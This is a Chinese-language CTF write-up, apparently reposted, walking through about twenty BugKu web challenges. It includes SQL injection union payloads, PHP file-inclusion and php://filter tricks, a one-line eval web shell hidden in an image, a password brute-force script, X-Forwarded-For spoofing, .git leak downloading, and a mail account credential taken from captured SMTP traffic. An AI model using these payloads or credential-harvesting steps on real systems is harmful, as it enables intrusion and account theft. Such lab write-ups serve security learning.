CTF-BugKu-Web-1-20


BUGku CTF-POST

打開發現PHP代碼 需要POST傳參獲取一個flag

使用burp來抓包改為POST傳參what=flag 讓他輸出flag
改為POST 然后 what=flag 成功獲得

BUGku CTF-矛盾

PHP一個數字和一個字符串進行比較或者進行運算時,PHP會把字符串轉換成數字再進行比較,PHP轉換的規則的是:若字符串以數字開頭,則取開頭數字作為轉換結果,若無則輸出0。

在PHP中,== 會先進行類型轉換,再進行對比,而===會先比較類型,如果類型不同直接返回不相等。

這題考的是弱類型 解題思路/?num=1) || True
if=($num==1) 意思就是num等於數字1就會打印flag 但是is_numeric函數檢測數字

細心的話會注意到可以在1后面加個字符串這樣就可以滿足判斷 num=1"a" // ""字符串里面可以輸入隨便英語 這樣flag就出來了
我們在后面加一個字符串 加一個a 即可輸出flag

BUGku CTF-alert

打開頁面一直彈JS alert頁面
然后我們禁用js 查看網站源碼 可以看到一堆亂碼 可以看得出可能是被編碼了

禁用JS F12查看源碼看到了一串編碼

unicode轉碼一下 拿到flag

BUGku CTF-你必須讓他停下


打開靶場發現一直彈出圖片
我們這里利用burp抓包來一個個抓放包

這里抓到了大量數據包 我們發送到 重放模塊模擬發送

通過幾次發送放包 我們拿到了隱藏在里面的flag

BUGku CTF-社工初步收集

打開網站是一個刷鑽的頁面

我們隨便點點 可以找到一個壓縮包 ,不會逆向所以我們這里抓取wireshark

SMTP是一種提供可靠且有效的電子郵件傳輸的協議。SMTP是建立在FTP文件傳輸服務上的一種郵件服務,主要用於系統之間的郵件信息傳遞,並提供有關來信的通知。SMTP獨立於特定的傳輸子系統,且只需要可靠有序的數據流信道支持,SMTP的重要特性之一是其能跨越網絡傳輸郵件,即“SMTP郵件中繼”。使用SMTP,可實現相同網絡處理進程之間的郵件傳輸,也可通過中繼器或網關實現某處理進程與其他網絡之間的郵件傳輸.

這里還是需要記一下 查漏補缺 遇到什么就記錄什么這里

我們先掛着御劍先掃描網站一下

我們發現用wireshark 抓取SMTP 協議 可以發現他的郵箱號

發現了他的郵箱

發現他的PASS,第一反應是密碼 我們解密一下
bugkuku@163.com,XSLROCPMNWWZQDZL
通過wireshark 抓取到了 兩個信息
我們用御劍掃描的時候分析到了 后台地址我們第一反應也是用賬號密碼進行登錄 我們先試試

好吧不對,那我們思路就是錯的,后台不對,我們登錄郵箱來試試呀!

成功登陸

可惡啊全是他們搞得垃圾郵箱
電腦登錄Foxmail 來緩存之前被刪除的 而且看的很明白

置頂文件發現了密碼 mara是他名字 暫時不知道有什么用 20010206 后台密碼

進去后台頁面

這里發現了flag

BUGku CTF-本地管理員


打開頁面 然后發現是一個登錄框 常規思路先打開F12看一看等號結尾 很可能是base64加密了 我們來解密

test123 應該是賬號或者密碼 沒有找到其他信息 我們嘗試弱口令常規密碼賬號登錄一下

發現IP被拉進黑名單了 我們聽說過偽造IP

X-Forwarded-For 是一個 HTTP 擴展頭部。HTTP/1.1(RFC 2616)協議並沒有對它的定義,它最開始是由 Squid 這個緩存代理軟件引入,用來表示 HTTP 請求端真實 IP。如今它已經成為事實上的標准,被各大 HTTP 代理、負載均衡等轉發服務廣泛使用,並被寫入 RFC 7239(Forwarded HTTP Extension)標准之中。

X-Forwarded-For 請求頭格式非常簡單,就這樣:

X-Forwarded-For: 127.0.0.1

所以通過xff我們可以達到偽造IP來構造IP請求數據包

成功拿到flag

BUGku CTF-bp


根據題目我們可以猜到應該是要爆破

知道了賬號 只爆破密碼
這里我就不給圖片了 我爆破了 十萬個密碼都不對
通過觀察響應包里面的內容,我們發現錯誤包里面都會返回一個JavaScript代碼告知我們的密碼有錯誤。
因此我們通過Burpsuite的 (Grep – Match 在響應中找出存在指定的內容的一項。)


都一樣
然后發現每次都返回一個js的響應包

過濾掉存在JavaScript代碼中的{code: 'bugku10000'}的數據包。

再來嘗試一下

發現一個沒打鈎 很特殊的

z開頭的 很符合題目的提示 我們來試試吧

OK拿到flag

BUGku CTF-eval


在代碼中先是通過include包含了flag.php

​ REQUEST['hello']來獲取用戶傳給服務器的hello參數
var_dump()會將傳入的變量打印到頁面,eval()會執行傳入到其中的php代碼,eval("var_dump($a);")就是把$a的內容打印出來

思路:給hello賦值,執行后會將變量的類型和內容打印出來,可以使用file()函數先將flag.php的內容存入數組,然后這個數組會被var_dump()和eval()函數輸出到頁面

PHP:var_dump - Manual

PHP var_dump() 函數-W3Cschool

用法:


我們來構造pyloads 來試試

成功用file函數 將flag 以數組的方式打印出來

BUGku CTF-變量1


打開提示 flag在變量里面
搜一下 代碼里出現的函數
發現是關閉錯誤報告 的意思

highlight_file ()函數

<?php
error_reporting(0);// 關閉php錯誤顯示
include "flag1.php";// 引入flag1.php文件代碼
highlight_file(__file__);
if(isset($_GET['args'])){// 通過get方式傳遞 args變量才能執行if里面的代碼
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){// 這個正則表達式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小寫字母和0到9以及下划線組成
        die("args error!");
    }
    eval("var_dump($$args);");// 這邊告訴我們這題是代碼審計的題目
}
?>

args=flag1.php 這樣提交也不對因為正則了字母字符以及下划線
最后一句話

eval(var_dump($$args));
有兩個$符號,這里可以做個小小的例子:可以簡單理解,把這個東西想象成二級指針。
如果$a='hello',$hello=world,那么$$a=world。
所以在做替換的時候,如果args=flag,那么最后的結果就是eval(var_dump($flag);

也難怪系統輸出了null。
這里涉及到了全局變量
$GLOBALS
$GLOBALS — 引用全局作用域中可用的全部變量
范例

https://www.php.net/manual/zh/re

served.variables.globals.php
那么我們構造一下提交

BUGku CTF-頭等艙


啥也沒有 就很奇怪 可能隱藏在數據包或者HTML 代碼里?
常規看代碼沒有 抓個包試試

發現flag

BUGku CTF-game1


打開玩一玩 我竟然忘了我要做題了

這是分數?
我們解密后發現

怎么解碼不出來 看了WP發現不需要解碼zm 也沒說是為什么
然后我們修改Score=4000 然后吧bese64編碼4000

提交了發現flag

BUGku CTF-社工偽造

首先這題啟動環境,發現需要輸入QQ,嘗試各種掃后台,查看網
頁內容都沒有收獲;
於是查看大佬博客發現,用自己的QQ登錄發現,小美
要用他男朋友QQ登錄才能詢問消息,
於是網上搜索他男朋友昵稱:小bug
登錄得到flag

這道題 腦洞很大 QQ能搜到很多他男朋友的QQ找一找登錄 試試 flag 我就不寫全過程了

BUGku CTF-source

這道題墨跡了很久 看了下wp發現是.git文件泄露
我們用gobuster 跑了一下發現了/.git/目錄

gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txt

wget -r http://114.67.246.176:10491/.git
遞歸下載網站泄露的.git文件以及文件夾

git reflog
我們查看執行的命令日志
img
git show
一個個看 我看wp還可以用
git show commit_id 命令查看commit 我是一個一個解出來的
里面有很多假flag

BUGku CTF-源代碼

打開

讓查看源代碼 我們看一看

看到了一串編碼?

unescape() 函數可對通過 escape() 編碼的字符串進行解碼。
根據 代碼分析后是

P1加%35%34%61%61%32加p2
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

我們吧這個67d709b2b54aa2aa648cf6e87a7114f1 提交到框框
得到真實flag

BUGku CTF-文件包含

什么是文件包含漏洞

​ 通過PHP函數引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,就可能導致意外的文件泄漏甚至惡意代碼注入。

文件包含漏洞的環境要求

  • allow_url_fopen=On(默認為On) 規定是否允許從遠程服務器或者網站檢索數據
  • allow_url_include=On(php5.2之后默認為Off) 規定是否允許include/require遠程文件

常見文件包含函數

php中常見的文件包含函數有以下四種:

  1. include()
  2. require()
  3. include_once()
  4. require_once()

include與require基本是相同的,除了錯誤處理方面:

  1. include(),只生成警告(E_WARNING),並且腳本會繼續
  2. require(),會生成致命錯誤(E_COMPILE_ERROR)並停止腳本
  3. include_once()與require_once(),如果文件已包含,則不會包含,其他特性如上

PHP偽協議

1.php://input可以訪問請求的原始數據的只讀流,將post請求的數據當作php代碼執行。當傳入的參數作為文件名打開時,可以將參數設為php://input,同時post想設置的文件內容,php執行時會將post內容當作文件內容。從而導致任意代碼執行

2.php://filter可以獲取指定文件源碼。當它與包含函數結合時,php://filter流會被當作php文件執行。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取。

3.zip://可以訪問壓縮包里面的文件。當它與包含函數結合時,zip://流會被當作php文件執行。從而實現任意代碼執行。

4.data://與phar://類似與php://input,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行。從而導致任意代碼執行。

5.包含Apache日志文件WEB服務器一般會將用戶的訪問記錄保存在訪問日志中。那么我們可以根據日志記錄的內容,精心構造請求,把PHP代碼插入到日志文件中,通過文件包含漏洞來執行日志中的PHP代碼。

6.包含SESSION可以先根據嘗試包含到SESSION文件,在根據文件內容尋找可控變量,在構造payload插入到文件中,最后包含即可。

利用條件:

  • 找到Session內的可控變量
  • Session文件可讀寫,並且知道存儲路徑

session常見存儲路徑:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID
  5. session文件格式: sess_[phpsessid] ,而 phpsessid 在發送的請求的 cookie 字段中可以看到。

7.包含/pros/self/environ  proc/self/environ中會保存user-agent頭,如果在user-agent中插入php代碼,則php代碼會被寫入到environ中,之后再包含它,即可。

利用條件:

  1. php以cgi方式運行,這樣environ才會保持UA頭。
  2. environ文件存儲位置已知,且environ文件可讀。

8.包含臨時文件

在這里插入圖片描述

php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。

由於包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。

另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可

9.包含上傳文件

很多網站通常會提供文件上傳功能,比如:上傳頭像、文檔等,這時就可以采取上傳一句話圖片木馬的方式進行包含。

圖片馬的制作方式如下,在cmd控制台下輸入:

進入1.jph和2.php的文件目錄后,執行:

copy  1.jpg/b+2.php  3.jpg

將圖片1.jpg和包含php代碼的2.php文件合並生成圖片馬3.jpg

假設已經上傳一句話圖片木馬到服務器,路徑為

upload/65212.jpg

圖片代碼如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

然后訪問URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg包含這張圖片,將會在index.php所在的目錄下生成`shell.php

http://114.67.246.176:10873/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

用這個 讀出來了一串像base64的一串加密? 解密后看到源碼
<html>
    <title>Bugku-web</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{e65afee46dc020757f5199a8f2a27288}
?>
</html>

可以看到flag

這里可以去看一看文件包含和 php文件偽協議 在實戰中也經常出現

BUGku CTF-好像需要密碼?

打開發現 可能是爆破 ? burp爆破了發現很慢
我們也不會腳本 這里利用網上現成的

import requests

def ssh():
    url = "http://114.67.246.176:18966/"
    for pwd in range(10000,100000):
        pwd = str(pwd)
        r = requests.post(url, data={'pwd': pwd})
        r.encoding = 'utf-8'
        r_text = r.text
        judge = "密碼不正確,請重新輸入"
        if (judge in r.text):
            print("嘗試密碼:{},反應狀態碼:{},密碼錯誤.".format(pwd, r))
        else:
            print("嘗試密碼:{},反應狀態碼:{},密碼正確.".format(pwd, r))
            print("爆破完成")
            break

ssh()


成功爆破

提交拿到flag

BUGku CTF-備份是個好習慣

打開網站發現 是一串加密 解密后發現提示為NULL
這里的題目是備份 應該是要看備份文件的
然后用后來看了看WP才知道有個index.php.bak的備份文件,打開后發現是PHP源碼,里面進行了參數過濾和if的驗證,直接kekey1y[]=1&kekey2y[]=2繞過,得到flag!

BUGku CTF-cookies

打開網站發現是一串英文字母

發現是filename 的傳參 文件時用base64加密的 我們解密一下

解密后發現加密文件為keys.txt
然后發現是可以讀取文件的 我們這里讀取index.php文件試一試?
吧index.php加密后 aW5kZXgucGhw 提交后發現 頁面空了?

我們用WP給的python 代碼 來跑一下

拿到了

<?php 
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
//header函數重定向到初始頁面 headers(“location:path”)
$file_list = array(//array  創建一個數組 
'0' =>'keys.txt',//數組元素1
'1' =>'index.php',//數組元素2
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    //檢測cookie是否為margin=margin
$file_list[2]='keys.php';//如果是這樣那么向file_list數組中加入一個新元素keys.php
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

從php代碼中可以看出來,我們需要將keys.php這段字符串Base64加密
a2V5cy5waHA=

然后將其作為filename的值,還要構造Cookie: margin=margin這個Cookie頭

    一共有17行,

從第三行開始解釋
首先用了一個條件運算符?:

對filename和line進行一個檢測
第五行如果filename為空,

那么通過headers函數重定向到初始頁面
headers(“location:path”)

第六行創建一個數組共有2個元素
第十行就是和該題目相關的,

檢測cookie是否設置,且是否設置為margin=margin

如果是這樣那么向file_list數組中加入一個新元素keys.php
顯然flag在這里面啊,那就簡單了

//a2V5cy50eHQ= keys.txt

//a2V5cy5waHA= keys.php

base64.decode(keys.php)=a2V5cy5waHA=

第一步構造url:
http://114.67.246.176:13254/index.php?line=&filename=a2V5cy5waHA=

第二步在bp里面修改cookie
把原來的cookie刪除
that’s ok
至於13行下面就是關於一行一行輸出文件內容的代碼啦
in_array是判斷鍵值是否在數組中
file函數是將文件分割一行一行的,並且按照數組儲存
構造payload

BUGku CTF-never_give_up

打開發現

發現啥都沒有 我們 F12看一看 發現了一個 1p.html

我們訪問試一試
訪問后 跳轉到buu的 主頁 然后還是得看

view-source 這種協議 可以查看網頁的源碼
然后我們來試一試

也就是右鍵查看源代碼

var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

然后我們看到了 一串加密

我們發現是 base64的加密

var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

解密后又感覺 像unicode 編碼

我們繼續解密

var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

再次解密

var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

直接訪問這個f4l2a3g.txt文件

好像還可以利用input去 拿到flag 各位自己去試

BUGku CTF-學生成績 查詢

應該是 注入 是一個表單 要提交所以應該是POST注入

我們用burp或者hackbaer 來進行注入

id=1 and 1=2 正常

id=1‘ 報錯 字符型 POST注入

我們來 進行order by 來看列數

到5的時候 沒有了 說明只有四列

我們用union查詢 查詢數據庫 database()

id=-1' union select 1,2,3,database() #

查詢到庫為:skctf

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

查詢到表名為:fl4g,sc

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf' and table_name='fl4g.sc'#

然后查他的列名:skctf_flag
id=-1'union select 1,2,3,skctf_flag from fl4g#
查詢到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM